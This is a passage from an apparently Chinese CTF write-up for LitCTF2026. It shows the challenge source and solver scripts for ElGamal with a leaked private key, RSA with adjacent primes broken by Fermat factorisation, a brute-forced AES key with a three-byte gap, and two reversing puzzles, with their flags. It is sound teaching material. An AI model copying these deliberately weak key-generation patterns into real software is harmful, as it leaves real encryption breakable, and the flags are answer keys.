printed alongside ciphertext.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> annotations</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> randrange</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> bytes_to_long, getPrime, getRandomRange</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">from</span> secret <span class="keyword">import</span> FLAG</span><br><span class="line"><span class="keyword">except</span> ImportError <span class="keyword">as</span> e:</span><br><span class="line">    <span class="keyword">raise</span> SystemExit(<span class="string">&quot;secret.py (FLAG) is required to encrypt.&quot;</span>) <span class="keyword">from</span> e</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_elgamal_keypair</span>(<span class="params">bits: <span class="built_in">int</span> = <span class="number">512</span></span>) -&gt; <span class="built_in">tuple</span>[<span class="built_in">int</span>, <span class="built_in">int</span>, <span class="built_in">int</span>, <span class="built_in">int</span>]:</span><br><span class="line">    p = getPrime(bits)</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">        g = getRandomRange(<span class="number">2</span>, <span class="built_in">min</span>(<span class="number">6</span>, p - <span class="number">1</span>))</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">pow</span>(g, (p - <span class="number">1</span>) // <span class="number">2</span>, p) != <span class="number">1</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&quot;could not find suitable g&quot;</span>)</span><br><span class="line">    x = randrange(<span class="number">2</span>, p - <span class="number">1</span>)</span><br><span class="line">    y = <span class="built_in">pow</span>(g, x, p)</span><br><span class="line">    <span class="keyword">return</span> p, g, y, x</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(</span><br><span class="line">        <span class="string">&quot;--write&quot;</span>,</span><br><span class="line">        <span class="built_in">type</span>=Path,</span><br><span class="line">        <span class="built_in">help</span>=<span class="string">&quot;Write captured output to this file (for organizers).&quot;</span>,</span><br><span class="line">    )</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">    p, g, y, x = generate_elgamal_keypair(bits=<span class="number">512</span>)</span><br><span class="line">    k = randrange(<span class="number">1</span>, p - <span class="number">2</span>)</span><br><span class="line">    m = bytes_to_long(FLAG)</span><br><span class="line">    <span class="keyword">if</span> m &gt;= p:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&quot;flag too large for chosen p — shorten FLAG&quot;</span>)</span><br><span class="line"></span><br><span class="line">    c1 = <span class="built_in">pow</span>(g, k, p)</span><br><span class="line">    c2 = (m * <span class="built_in">pow</span>(y, k, p)) % p</span><br><span class="line"></span><br><span class="line">    lines = [</span><br><span class="line">        <span class="string">&quot;=== Public key (p, g, y) ===&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;p = <span class="subst">&#123;p&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;g = <span class="subst">&#123;g&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;y = <span class="subst">&#123;y&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;=== Ciphertext (c1, c2) ===&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;c1 = <span class="subst">&#123;c1&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;c2 = <span class="subst">&#123;c2&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;# [DEBUG] prod accidentally logged the long-term secret:&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;x = <span class="subst">&#123;x&#125;</span>&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    text = <span class="string">&quot;\n&quot;</span>.join(lines) + <span class="string">&quot;\n&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(text, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> args.write:</span><br><span class="line">        args.write.write_text(text, encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br><span class="line"><span class="comment"># === Public key (p, g, y) ===</span></span><br><span class="line"><span class="comment"># p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651</span></span><br><span class="line"><span class="comment"># g = 3</span></span><br><span class="line"><span class="comment"># y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># === Ciphertext (c1, c2) ===</span></span><br><span class="line"><span class="comment"># c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627</span></span><br><span class="line"><span class="comment"># c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># # [DEBUG] prod accidentally logged the long-term secret:</span></span><br><span class="line"><span class="comment"># x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884</span></span><br></pre></td></tr></table></figure><p>ElGamal 加密：</p><ul><li>公钥：(p,g,y)(p,g,y)(p,g,y)，其中 <img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502890585-77d7d7df-27ce-49f3-b4ab-bfeea24e8ea7.png" alt="img"></li><li>私钥：x</li></ul><p>密文：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502914140-4260e433-3ee1-4eb9-87ad-528c08c50318.png" alt="img"></p><p>因为题目直接泄露了私钥 x，所以：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502934328-d6e9e38f-a67d-4a59-9407-1a1c529adb37.png" alt="img"></p><p>于是：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502952456-0432f01b-b10f-4e85-8711-ee7fd2a7dc9d.png" alt="img"></p><p>核心公式：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502967516-32f06ab3-fc4f-40ea-ba92-f6d7b602d51d.png" alt="img"></p><p>直接写脚本即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"></span><br><span class="line">p = <span class="number">9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651</span></span><br><span class="line"></span><br><span class="line">c1 = <span class="number">5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627</span></span><br><span class="line"></span><br><span class="line">c2 = <span class="number">6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654</span></span><br><span class="line"></span><br><span class="line">x = <span class="number">633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># s = y^k = c1^x mod p</span></span><br><span class="line">s = <span class="built_in">pow</span>(c1, x, p)</span><br><span class="line"></span><br><span class="line"><span class="comment"># s^&#123;-1&#125; mod p</span></span><br><span class="line">s_inv = <span class="built_in">pow</span>(s, -<span class="number">1</span>, p)</span><br><span class="line"></span><br><span class="line"><span class="comment"># recover plaintext integer</span></span><br><span class="line">m = (c2 * s_inv) % p</span><br><span class="line"></span><br><span class="line">flag = long_to_bytes(m)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503016033-b93e5c04-2e2c-4e6b-8174-d120ea6a172c.png" alt="img"></p><h2 id="LitCTF2026-lit-rsa-neighbor"><a href="#LitCTF2026-lit-rsa-neighbor" class="headerlink" title="[LitCTF2026] lit_rsa_neighbor"></a>[LitCTF2026] lit_rsa_neighbor</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">LitCTF2026 — RSA where q is &#x27;far&#x27; along the prime line but still close enough to p for Fermat.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> annotations</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> bytes_to_long, getPrime</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">from</span> secret <span class="keyword">import</span> FLAG, NEXT_PRIME_STEPS</span><br><span class="line"><span class="keyword">except</span> ImportError <span class="keyword">as</span> e:</span><br><span class="line">    <span class="keyword">raise</span> SystemExit(</span><br><span class="line">        <span class="string">&quot;secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS).&quot;</span></span><br><span class="line">    ) <span class="keyword">from</span> e</span><br><span class="line"></span><br><span class="line">E = <span class="number">65537</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(</span><br><span class="line">        <span class="string">&quot;--write&quot;</span>,</span><br><span class="line">        <span class="built_in">type</span>=Path,</span><br><span class="line">        <span class="built_in">help</span>=<span class="string">&quot;Write n, c to this file.&quot;</span>,</span><br><span class="line">    )</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">    p = getPrime(<span class="number">512</span>)</span><br><span class="line">    q = p</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(NEXT_PRIME_STEPS):</span><br><span class="line">        q = <span class="built_in">int</span>(gmpy2.next_prime(q))</span><br><span class="line"></span><br><span class="line">    n = p * q</span><br><span class="line">    m = bytes_to_long(FLAG)</span><br><span class="line">    <span class="keyword">if</span> m &gt;= n:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&quot;flag too large for n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    c = <span class="built_in">pow</span>(m, E, n)</span><br><span class="line"></span><br><span class="line">    lines_players = [<span class="string">f&quot;<span class="subst">&#123;n = &#125;</span>&quot;</span>, <span class="string">f&quot;<span class="subst">&#123;c = &#125;</span>&quot;</span>, <span class="string">f&quot;e = <span class="subst">&#123;E&#125;</span>&quot;</span>]</span><br><span class="line">    text = <span class="string">&quot;\n&quot;</span>.join(lines_players) + <span class="string">&quot;\n&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(text, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> args.write:</span><br><span class="line">        args.write.write_text(text, encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br><span class="line"><span class="comment"># n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911</span></span><br><span class="line"><span class="comment"># c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429</span></span><br><span class="line"><span class="comment"># e = 65537</span></span><br></pre></td></tr></table></figure><p>是一个典型的 Fermat 分解攻击。</p><p>因为：</p><ul><li><code>q</code> 不是随机独立生成 </li><li>而是从 <code>p</code> 连续 next_prime 得到 </li><li>所以 <code>p ≈ q</code></li><li>当两个素数很接近时，RSA 模数可以被费马分解快速破解</li></ul><p>对于</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503166349-c29d9290-d9f4-4449-a51a-29363969e7f0.png" alt="img"></p><p> 如果 p,qp,qp,q 很接近：  </p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503181639-af09a89f-e7e7-4a69-afcf-a6b3972db0ca.png" alt="img"></p><p>令:</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503195682-20b5baec-40d4-49c3-a500-9631f0347489.png" alt="img"></p><p> 不断尝试：  </p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503211786-7f156224-4d91-43e6-bd8a-5cb44cdd1dc8.png" alt="img"></p><p> 直到 b^2 是完全平方数：  </p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503243207-abac540f-0172-4762-9e76-5e35ae9a107c.png" alt="img"></p><p>exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> isqrt</span><br><span class="line"></span><br><span class="line">n = <span class="number">139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911</span></span><br><span class="line"></span><br><span class="line">c = <span class="number">81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429</span></span><br><span class="line"></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Fermat Factorization</span></span><br><span class="line">a = isqrt(n)</span><br><span class="line"><span class="keyword">if</span> a * a &lt; n:</span><br><span class="line">    a += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    b2 = a*a - n</span><br><span class="line">    b = isqrt(b2)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> b*b == b2:</span><br><span class="line">        p = a - b</span><br><span class="line">        q = a + b</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    a += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] p =&quot;</span>, p)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[+] q =&quot;</span>, q)</span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = <span class="built_in">pow</span>(e, -<span class="number">1</span>, phi)</span><br><span class="line"></span><br><span class="line">m = <span class="built_in">pow</span>(c, d, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779503298786-32134acb-c6b6-43fa-8808-ba8b15635c96.png" alt="img"></p><h2 id="LitCTF2026-lit-tiny-key-aes"><a href="#LitCTF2026-lit-tiny-key-aes" class="headerlink" title="[LitCTF2026] lit_tiny_key_aes"></a>[LitCTF2026] lit_tiny_key_aes</h2><p>exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.Padding <span class="keyword">import</span> unpad</span><br><span class="line"></span><br><span class="line">KEY_PREFIX = <span class="string">b&quot;LitCTF2026!!!&quot;</span></span><br><span class="line"></span><br><span class="line">c = <span class="string">b&quot;\x0c\xdb&#x27;`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J&lt;\x86\x19\x06K\xb3\xa2\xa4\x18\x87&lt;v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_likely_flag</span>(<span class="params">pt: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        pt.startswith(<span class="string">b&quot;litctf&#123;&quot;</span>)</span><br><span class="line">        <span class="keyword">or</span> pt.startswith(<span class="string">b&quot;LitCTF&#123;&quot;</span>)</span><br><span class="line">        <span class="keyword">or</span> pt.startswith(<span class="string">b&quot;flag&#123;&quot;</span>)</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span> ** <span class="number">3</span>):</span><br><span class="line">    suffix = i.to_bytes(<span class="number">3</span>, <span class="string">&quot;big&quot;</span>)</span><br><span class="line">    key = KEY_PREFIX + suffix</span><br><span class="line"></span><br><span class="line">    cipher = AES.new(key, AES.MODE_ECB)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 先只解第一块，提高筛选速度</span></span><br><span class="line">    first_block = cipher.decrypt(c[:<span class="number">16</span>])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> is_likely_flag(first_block):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 命中疑似 flag 后，再解完整密文</span></span><br><span class="line">    pt_padded = cipher.decrypt(c)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        pt = unpad(pt_padded, AES.block_size)</span><br><span class="line">    <span class="keyword">except</span> ValueError:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Found key:&quot;</span>, key)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Unknown suffix:&quot;</span>, suffix.<span class="built_in">hex</span>())</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Plaintext:&quot;</span>, pt.decode())</span><br><span class="line">    <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>题目使用的是 AES-128-ECB：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AES.new(key, AES.MODE_ECB)</span><br></pre></td></tr></table></figure><p>AES-128 的密钥长度是 16 字节。题目中固定了前 13 字节：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">KEY_PREFIX = <span class="string">b&quot;LitCTF2026!!!&quot;</span></span><br></pre></td></tr></table></figure><p>剩下只有 3 字节未知：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">16 - 13 = 3</span><br></pre></td></tr></table></figure><p>每个字节有 256 种可能，所以总共只有：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">256 * 256 * 256 = 16777216</span><br></pre></td></tr></table></figure><p>这个规模对于离线爆破来说非常小。</p><p>因为 ECB 模式不需要 IV，所以只要枚举出正确 key，就可以直接解密密文。密文长度是 48 字节，也就是 3 个 AES block：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">48 / 16 = 3</span><br></pre></td></tr></table></figure><p>明文使用了 PKCS#7 padding，所以解密后还需要：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unpad(pt_padded, AES.block_size)</span><br></pre></td></tr></table></figure><p>爆破时可以先只解密第一块：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">first_block = cipher.decrypt(c[:<span class="number">16</span>])</span><br></pre></td></tr></table></figure><p>正确 key 解出来的第一块是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">litctf&#123;aes_tiny_</span><br></pre></td></tr></table></figure><p>所以可以用 flag 前缀快速筛选。找到正确后，再解完整密文，去掉 padding，得到：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">litctf&#123;aes_tiny_brut3_for_the_win!&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779504303639-a0c59858-b18f-4f35-8df3-ebeafc0f6449.png" alt="img"></p><h1 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h1><h2 id="LitCTF2026-lit-xor-chain"><a href="#LitCTF2026-lit-xor-chain" class="headerlink" title="[LitCTF2026] lit_xor_chain"></a>[LitCTF2026] lit_xor_chain</h2><p> 用户输入flag，每个字符先异或0x52，再加5，与全局数组g_expected比较  相等则返回”Good!”。</p><p>g_expected数组内容已知，写脚本解密得到flag：LitCTF{rev01_xor_then_add_ok!}</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">g_expected = [</span><br><span class="line">    <span class="number">0x23</span>, <span class="number">0x40</span>, <span class="number">0x2B</span>, <span class="number">0x16</span>, <span class="number">0x0B</span>, <span class="number">0x19</span>, <span class="number">0x2E</span>, <span class="number">0x25</span>, <span class="number">0x3C</span>, <span class="number">0x29</span>,</span><br><span class="line">    <span class="number">0x67</span>, <span class="number">0x68</span>, <span class="number">0x12</span>, <span class="number">0x2F</span>, <span class="number">0x42</span>, <span class="number">0x25</span>, <span class="number">0x12</span>, <span class="number">0x2B</span>, <span class="number">0x3F</span>, <span class="number">0x3C</span>,</span><br><span class="line">    <span class="number">0x41</span>, <span class="number">0x12</span>, <span class="number">0x38</span>, <span class="number">0x3B</span>, <span class="number">0x3B</span>, <span class="number">0x12</span>, <span class="number">0x42</span>, <span class="number">0x3E</span>, <span class="number">0x78</span>, <span class="number">0x34</span></span><br><span class="line">]</span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> x in g_expected:</span><br><span class="line">    ch = ((x - <span class="number">5</span>) ^ <span class="number">0x52</span>) &amp; <span class="number">0xFF</span></span><br><span class="line">    flag += chr(ch)</span><br><span class="line">print(<span class="string">&quot;flag =&quot;</span>, flag)</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-b64-alphabet"><a href="#LitCTF2026-lit-b64-alphabet" class="headerlink" title="[LitCTF2026] lit_b64_alphabet"></a>[LitCTF2026] lit_b64_alphabet</h2><p>base64换表，索引表被换成了’2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN&#x2F;s1bOQ5TvPa0tVkWmI’，密文也已给出，写脚本解密得到：LitCTF{rev02_custom_b64_table!}</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">alphabet = <span class="string">&quot;2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI&quot;</span></span><br><span class="line">target = <span class="string">&quot;zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==&quot;</span></span><br><span class="line">table = &#123;c: i <span class="keyword">for</span> i, c in <span class="title function_">enumerate</span><span class="params">(alphabet)</span>&#125;</span><br><span class="line">out = bytearray()</span><br><span class="line"><span class="keyword">for</span> i in <span class="title function_">range</span><span class="params">(<span class="number">0</span>, len(target)</span>, <span class="number">4</span>):</span><br><span class="line">    chunk = target[i:i+<span class="number">4</span>]</span><br><span class="line">    vals = []</span><br><span class="line">    pad = chunk.count(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> ch in chunk:</span><br><span class="line">        <span class="keyword">if</span> ch == <span class="string">&#x27;=&#x27;</span>:</span><br><span class="line">            vals.append(<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            vals.append(table[ch])</span><br><span class="line">    n = (</span><br><span class="line">        (vals[<span class="number">0</span>] &lt;&lt; <span class="number">18</span>) |</span><br><span class="line">        (vals[<span class="number">1</span>] &lt;&lt; <span class="number">12</span>) |</span><br><span class="line">        (vals[<span class="number">2</span>] &lt;&lt; <span class="number">6</span>)  |</span><br><span class="line">        vals[<span class="number">3</span>]</span><br><span class="line">    )</span><br><span class="line">    out.append((n &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xff</span>)</span><br><span class="line">    <span class="keyword">if</span> pad &lt; <span class="number">2</span>:</span><br><span 